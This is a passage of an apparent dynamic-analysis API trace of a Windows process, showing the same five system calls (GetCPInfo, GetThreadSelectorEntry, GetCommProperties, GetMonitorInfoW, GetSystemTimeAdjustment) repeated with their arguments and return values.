GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.506] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.506] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.506] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.506] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.506] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.506] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.506] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.506] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.506] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.506] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.506] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.506] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.506] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.506] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.506] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.506] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.506] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.506] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.506] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.506] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.507] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.507] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.507] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.507] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.507] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.507] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.507] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.507] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.507] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.507] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.507] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.507] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.507] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.507] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.507] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.507] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.507] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.507] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.507] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.507] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.507] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.507] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.507] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.507] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.507] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.508] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.508] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.508] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.508] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.508] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.508] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.508] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.508] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.508] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.508] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.508] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.508] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.508] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.508] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.508] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.508] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.508] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.509] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.509] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.509] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.509] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.509] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.509] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.509] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.509] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.509] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.509] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.509] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.509] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.509] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.509] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.509] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.509] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.509] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.509] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.509] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.509] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.510] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.510] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.510] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.510] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.510] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.510] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.510] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.510] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.510] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.510] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.510] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.510] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.510] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.510] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.510] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.510] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.510] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.510] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.510] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.510] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.510] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.510] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.510] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.510] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.510] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.511] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.511] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.511] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.511] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.511] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.511] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.511] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.511] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.511] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.511] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.511] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.511] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.511] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.511] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.511] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.511] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.512] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.512] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.512] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.512] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.512] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.512] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.512] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.512] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.512] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.512] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.512] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.512] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.512] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.512] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.512] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.512] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.512] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.512] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.512] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.512] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.512] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.512] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.512] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.512] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.513] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.513] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.513] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.513] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.513] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.513] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.513] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.513] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.513] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.513] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.513] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.513] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.513] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.513] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.513] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.513] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.513] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.513] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.513] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.513] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.513] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.513] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.513] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.513] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.513] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.514] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.514] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.514] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.514] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.514] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.561] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.561] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.561] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.561] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: 